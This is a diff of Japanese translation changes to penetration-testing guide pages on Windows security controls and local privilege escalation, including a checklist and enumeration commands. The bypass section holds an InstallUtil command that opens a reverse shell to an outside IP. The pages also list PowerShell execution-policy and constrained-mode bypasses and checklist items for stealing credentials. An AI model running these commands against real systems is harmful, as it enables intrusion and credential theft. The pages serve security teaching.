され、一意で、**定期的に変更** され、Active Directory に集中して保存されます。これらのパスワードへのアクセスは ACLs によって認可されたユーザーに制限されています。十分な権限が付与されていれば、ローカル管理者パスワードを読み取ることができます。 +The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. これらのパスワードは **ランダム化され**、一意で、**定期的に変更され**、Active Directory に集中して保存されます。これらのパスワードへのアクセスは ACLs によって許可されたユーザーに制限されています。十分な権限が付与されていれば、ローカル管理者のパスワードを読み取ることができます。 {{#ref}} @@ -206,22 +206,22 @@ The **Local Administrator Password Solution (LAPS)**, available for download fro ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) は PowerShell を効果的に使用するために必要な多くの機能を**制限します**。例えば、COM objects のブロック、承認された .NET types のみの許可、XAML-based workflows、PowerShell classes、などが含まれます。 +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **多くの機能を制限します**。PowerShell を効果的に使用するために必要な機能(例えば COM objects のブロック、承認された .NET types のみを許可、XAML-based workflows、PowerShell classes など)が制限されます。 ### **確認** ```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` -### バイパス +### Bypass ```bash #Easy bypass Powershell -version 2 ``` -現在の Windows ではそのバイパスは動作しませんが、[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) を使用できます。\\ -**コンパイルするには** **次に** _**参照の追加**_ -> _参照_ ->_参照_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` を追加し、**プロジェクトを .Net4.5 に変更する**。 +最新の Windows ではその Bypass は動作しませんが、[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) を使用できます。\ +**コンパイルするには** **次に** _**Add a Reference**_ -> _Browse_ -> _Browse_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` を追加し、**プロジェクトを .Net4.5 に変更**してください。 -#### Direct bypass: +#### 直接的な Bypass: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` @@ -229,11 +229,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) または [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用して、任意のプロセス内で **Powershell を実行する** code を実行し、constrained mode をバイパスできます。詳細は次を参照してください: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## PS 実行ポリシー -デフォルトでは **restricted.** に設定されています。 このポリシーをバイパスする主な方法: +デフォルトでは **restricted.** に設定されています。 このポリシーをバイパスする主な方法: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -253,39 +253,39 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +詳細は[here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)にあります。 ## セキュリティ サポート プロバイダ インターフェイス (SSPI) ユーザーを認証するために使用できるAPIです。 -SSPIは通信しようとする2台のマシンに対して適切なプロトコルを見つける役割を担います。これの推奨方法はKerberosです。SSPIはどの認証プロトコルが使用されるかをネゴシエートし、これらの認証プロトコルはSecurity Support Provider (SSP)と呼ばれ、各Windowsマシン内にDLLの形で存在し、通信するには両方のマシンが同じものをサポートしている必要があります。 +SSPIは、通信しようとする2台のマシンにとって適切なプロトコルを見つける役割を担います。好まれる方法はKerberosです。SSPIはどの認証プロトコルを使用するかをネゴシエートします。これらの認証プロトコルはSecurity Support Provider (SSP)と呼ばれ、各Windowsマシン内にDLLの形で存在し、通信するには両方のマシンが同じものをサポートしている必要があります。 ### 主なSSP -- **Kerberos**: 推奨される方式 +- **Kerberos**: 推奨されるプロトコル - %windir%\Windows\System32\kerberos.dll - **NTLMv1** and **NTLMv2**: 互換性のため - %windir%\Windows\System32\msv1_0.dll -- **Digest**: WebサーバーやLDAPで使用、パスワードはMD5ハッシュの形式 +- **Digest**: WebサーバーとLDAPで使用、パスワードはMD5ハッシュの形式 - %windir%\Windows\System32\Wdigest.dll -- **Schannel**: SSLとTLS +- **Schannel**: SSLおよびTLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: 使用するプロトコル(KerberosまたはNTLM)をネゴシエートするために使用される(既定はKerberos) +- **Negotiate**: 使用するプロトコルをネゴシエートするために使用(KerberosまたはNTLM、デフォルトはKerberos) - %windir%\Windows\System32\lsasrv.dll -#### 交渉によっては複数の方式が提示されることもあれば、1つだけの場合もあります。 +#### ネゴシエーションは複数の方法を提示する場合もあれば、1つだけの場合もあります。 ## UAC - ユーザー アカウント制御 -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は **権限昇格操作に対する同意プロンプト** を有効にする機能です。 +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、**昇格された操作に対する同意プロンプトを有効にする**機能です。 {{#ref}} uac-user-account-control.md {{#endref}} -## References +## 参考 - [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/) - [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 3f9cbdd44..2c45fca6c 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,108 +1,108 @@ -# チェックリスト - Local Windows Privilege Escalation +# Checklist - Local Windows Privilege Escalation {{#include ../banners/hacktricks-training.md}} -### **Windows local privilege escalation vectors を探す最適なツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### [System Info](windows-local-privilege-escalation/index.html#system-info) - [ ] 取得する [**System information**](windows-local-privilege-escalation/index.html#system-info) -- [ ] **kernel** の [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) を検索する -- [ ] **Google** で kernel の **exploits** を検索する -- [ ] **searchsploit** で kernel の **exploits** を検索する +- [ ] 検索する **kernel** の [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] **Google** を使用して kernel **exploits** を検索する +- [ ] **searchsploit** を使用して kernel **exploits** を検索する - [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) に興味深い情報はあるか? -- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) にパスワードはないか? +- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) にパスワードはあるか? - [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) に興味深い情報はあるか? - [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives) はどうか? -- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus) はないか? -- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) を確認する -- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) は有効か? +- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus) はあるか? +- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) +- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) は設定されているか? ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) と [**WEF** ](windows-local-privilege-escalation/index.html#wef) の設定を確認する +- [ ] [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)と [**WEF** ](windows-local-privilege-escalation/index.html#wef) の設定を確認する - [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) を確認する - [ ] [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) が有効か確認する - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection) はどうか? -- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard) はどうか?[?](windows-local-privilege-escalation/index.html#cached-credentials) +- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials) はどうか? -- [ ] 存在する [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) を確認する +- [ ] 何か **AV** があるか確認する (https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy) はどうか? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) を確認する - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) を確認する -- [ ] 現在のユーザーの **privileges** を確認する ( [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) ) +- [ ] 現在のユーザーの **privileges** を確認する (windows-local-privilege-escalation/index.html#users-and-groups) - [ ] あなたは [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) か? -- [ ] [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation) があるか確認する: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? -- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions) を確認する -- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) を確認する(アクセス可否) +- [ ] 次のトークンが有効か確認する (windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions) はどうか? +- [ ] Check[ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (アクセス権は?) - [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) を確認する -- [ ] クリップボードの中身は何か確認する ([**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard))? +- [ ] クリップボードの中身は何か? (windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] 現在の [**network information**](windows-local-privilege-escalation/index.html#network) を確認する -- [ ] 外部に制限されている隠れたローカルサービスがないか確認する +- [ ] 現在の [**network** **information**](windows-local-privilege-escalation/index.html#network) を確認する +- [ ] 外部から制限された **hidden local services** を確認する ### [Running Processes](windows-local-privilege-escalation/index.html#running-processes) - [ ] プロセスのバイナリの [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) を確認する -- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) を確認する -- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) を確認する -- [ ] `ProcDump.exe` を使って興味深いプロセスから資格情報を奪えないか?(firefox, chrome, など) +- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) +- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) +- [ ] 興味深いプロセスから **ProcDump.exe** などで資格情報を盗めるか? (firefox, chrome, など) ### [Services](windows-local-privilege-escalation/index.html#services) -- [ ] どのサービスでも **modify** できるか? ([Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions)) -- [ ] どのサービスでも実行される **binary** を **modify** できるか? ([Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)) -- [ ] どのサービスの **registry** でも **modify** できるか? ([Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)) -- [ ] unquoted service binary **path** を利用できないか? ([Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)) +- [ ] どのサービスでも **modify** できるか? (windows-local-privilege-escalation/index.html#permissions) +- [ ] どのサービスでも実行される **binary** を **modify** できるか? (windows-local-privilege-escalation/index.html#modify-service-binary-path) +- [ ] どのサービスの **registry** を **modify** できるか? (windows-local-privilege-escalation/index.html#services-registry-modify-permissions) +- [ ] unquoted service binary **path** を悪用できるか? (windows-local-privilege-escalation/index.html#unquoted-service-paths) ### [**Applications**](windows-local-privilege-escalation/index.html#applications) -- [ ] インストール済みアプリケーションに対する **Write** 権限がないか? ([**Write** permissions on installed applications](windows-local-privilege-escalation/index.html#write-permissions)) -- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) を確認する -- [ ] 脆弱な [**Drivers**](windows-local-privilege-escalation/index.html#drivers) がないか? +- [ ] インストール済みアプリケーションに対する **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) +- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) +- [ ] 脆弱な **Drivers** はあるか? (windows-local-privilege-escalation/index.html#drivers) -### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking) +### [DLL Hijacking](windows-local-privilege-escalation/index.html#Path-dll-hijacking) -- [ ] PATH 内の任意のフォルダに書き込みできるか? -- [ ] 存在しない DLL をロードしようとする既知のサービスバイナリはあるか? -- [ ] 任意の **binaries folder** に書き込みできるか? +- [ ] PATH 内の任意のフォルダに **write** できるか? +- [ ] 存在しない DLL を読み込もうとする既知のサービスバイナリはあるか? +- [ ] 任意の **binaries folder** に **write** できるか? ### [Network](windows-local-privilege-escalation/index.html#network) -- [ ] ネットワークを列挙する(shares, interfaces, routes, neighbours, ...) -- [ ] localhost (127.0.0.1) でリッスンしているネットワークサービスに特に注意する +- [ ] ネットワークを列挙する (shares, interfaces, routes, neighbours, ...) +- [ ] localhost (127.0.0.1) で待ち受けているネットワークサービスに注目する ### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials) - [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) の資格情報 -- [ ] 使用可能な [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) の資格情報はあるか? -- [ ] 興味深い [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) はないか? +- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) に使用できる資格情報はあるか? +- [ ] 興味深い [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) はあるか? - [ ] 保存された [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) のパスワードは? -- [ ] 保存された [**RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) に興味深い情報はあるか? -- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) にパスワードはないか? +- [ ] 保存された [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) に興味深い情報はあるか? +- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) にパスワードはあるか? - [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) のパスワードは? -- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? 資格情報は? -- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading の可能性は? +- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? 資格情報は? +- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading? ### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials) - [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys) - [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) はあるか? -- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) にパスワードはないか? -- [ ] 何か [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) のバックアップはないか? -- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) はないか? -- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) ファイルはないか? -- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) はないか? -- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) にパスワードはないか? -- [ ] [**web logs**](windows-local-privilege-escalation/index.html#logs) に興味深い情報はないか? -- [ ] ユーザーに資格情報を [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) したいか? -- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) 内の興味深いファイルは? -- [ ] その他の資格情報を含む [**registry**](windows-local-privilege-escalation/index.html#inside-the-registry) はないか? -- [ ] ブラウザ内のデータ(dbs, history, bookmarks, ...)はどうか? ([**inside Browser data**](windows-local-privilege-escalation/index.html#browsers-history)) +- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) にパスワードはあるか? +- [ ] 何か [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) のバックアップはあるか? +- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) はあるか? +- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) ファイルはあるか? +- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) はあるか? +- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) にパスワードはあるか? +- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) に興味深い情報はあるか? +- [ ] ユーザーに対して [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) したいか? +- [ ] [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) に興味深いものはあるか? +- [ ] その他の [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) +- [ ] ブラウザ内の [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...) はどうか? - [ ] ファイルやレジストリ内の [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) -- [ ] パスワードを自動で検索する [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) +- [ ] パスワードを自動的に検索する [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index dff106981..e42b3f5af 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windows local privilege escalation vectors を探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Initial Windows Theory +## 初歩的な Windows 理論 -### アクセストークン +### Access Tokens -**Windows のアクセストークンが分からない場合は、先に次のページを読んでください:** +**Windows Access Tokens が何か分からない場合は、先に次のページを読んでください:** {{#ref}} @@ -17,25 +17,25 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**ACLs、DACLs/SACLs/ACEs の詳細は次のページを参照してください:** +**ACLs - DACLs/SACLs/ACEs の詳細は次のページを参照してください:** {{#ref}} acls-dacls-sacls-aces.md {{#endref}} -### 整合性レベル +### Integrity Levels -**Windows の整合性レベルが分からない場合は、続行する前に次のページを読んでください:** +**Windows の Integrity Levels が何か分からない場合は、先に次のページを読んでください:** {{#ref}} integrity-levels.md {{#endref}} -## Windows のセキュリティ制御 +## Windows セキュリティ制御 -Windows には、システムの列挙を**妨げる**、実行ファイルの実行を阻止する、あるいはあなたの活動を**検出する**など、さまざまな機能があります。権限昇格の列挙を開始する前に、次の**ページ**を**読み**、これらすべての**防御** **メカニズム**を**列挙**してください: +Windows には、**システムの列挙を妨げる**、実行ファイルの実行を阻止したり、**あなたの活動を検知する**ようなさまざまな仕組みがあります。privilege escalation enumeration を開始する前に、次の**ページ**を**読み**、これらすべての**防御****メカニズム**を**列挙**してください: {{#ref}} @@ -46,7 +46,7 @@ Windows には、システムの列挙を**妨げる**、実行ファイルの ### バージョン情報の列挙 -Windows のバージョンに既知の脆弱性がないか確認してください(適用されているパッチも確認すること)。 +Windows のバージョンに既知の脆弱性がないか確認してください(適用されているパッチも確認してください)。 ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,24 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### バージョン別エクスプロイト +### Version Exploits -この [site](https://msrc.microsoft.com/update-guide/vulnerability) は Microsoft のセキュリティ脆弱性に関する詳細情報を検索するのに便利です。 このデータベースは4,700件を超えるセキュリティ脆弱性を収録しており、Windows環境が持つ**巨大な攻撃面**を示しています。 +この [site](https://msrc.microsoft.com/update-guide/vulnerability) は Microsoft のセキュリティ脆弱性に関する詳細情報を検索するのに便利です。 +このデータベースには4,700件以上のセキュリティ脆弱性が登録されており、Windows環境が持つ**巨大な攻撃面**を示しています。 -**On the system** +**システム上** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeasにはwatsonが組み込まれている)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas は watson を組み込んでいます)_ -**ローカル(システム情報あり)** +**システム情報を用いたローカル** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github のエクスプロイトリポジトリ:** +**エクスプロイトの Github リポジトリ:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +84,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ### 環境 -環境変数に資格情報や有用な情報が保存されていますか? +資格情報や重要な情報が環境変数に保存されていますか? ```bash set dir env: @@ -101,7 +102,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell トランスクリプトファイル -有効化する方法は次のページを参照してください: [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +これを有効にする方法は次のリンクで確認できます: [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,34 +117,34 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell のパイプライン実行の詳細が記録されます。実行されたコマンド、コマンドの呼び出し、スクリプトの一部が含まれます。ただし、実行の全詳細や出力結果までは記録されない場合があります。 +PowerShell のパイプライン実行の詳細が記録されます。実行されたコマンド、コマンドの呼び出し、スクリプトの一部などが含まれます。ただし、実行の完全な詳細や出力結果がすべて記録されるとは限りません。 -これを有効にするには、ドキュメントの「Transcript files」セクションの指示に従い、**"Module Logging"** を **"Powershell Transcription"** の代わりに選択してください。 +これを有効にするには、ドキュメントの "Transcript files" セクションの指示に従い、**"Module Logging"** を **"Powershell Transcription"** の代わりに選択してください。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -PowersShell ログの最後の15件のイベントを表示するには、次を実行します: +Powershell ログの直近15件のイベントを表示するには、次を実行します: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -スクリプトの実行に関する完全なアクティビティと全コンテンツの記録が取得され、各コードブロックが実行時に文書化されることが保証されます。このプロセスは各アクティビティの包括的な監査証跡を保存し、フォレンジック調査や悪意のある挙動の解析に有用です。実行時にすべてのアクティビティを記録することで、プロセスに関する詳細な洞察が提供されます。 +スクリプトの実行に関する完全なアクティビティおよび実行内容の全記録が取得され、各コードブロックは実行時に逐次文書化されます。このプロセスにより、各活動の包括的な監査証跡が保持され、forensics や悪意ある挙動の分析に有用です。実行時にすべての活動を記録することで、プロセスに関する詳細な洞察が得られます。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block のログイベントは Windows Event Viewer の次のパスで確認できます: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -最後の20件のイベントを表示するには次を使用できます: +Script BlockのログイベントはWindows Event Viewerの次のパスにあります: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +直近20件のイベントを表示するには、次を使用できます: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -### インターネット設定 +### インターネットの設定 ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" @@ -158,11 +159,11 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| 更新が http**S** ではなく http で要求されている場合、システムを乗っ取ることができます。 -まず、ネットワークが非SSLの WSUS アップデートを使用しているかどうかを、cmd で次のコマンドを実行して確認します: +まず、ネットワークが非SSLの WSUS 更新を使用しているかどうかを、cmd で次のコマンドを実行して確認します: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -または、PowerShell で次のように: +または、PowerShellで次のように: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` @@ -180,13 +181,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -そして、`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` または `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` が `1` の場合。 +そして、`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` または `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` が `1` に等しい場合。 -その場合、 **悪用可能です。** 最後のレジストリ値が 0 の場合、WSUS エントリは無視されます。 +**悪用可能です。** 最後のレジストリ値が `0` の場合、WSUS エントリは無視されます。 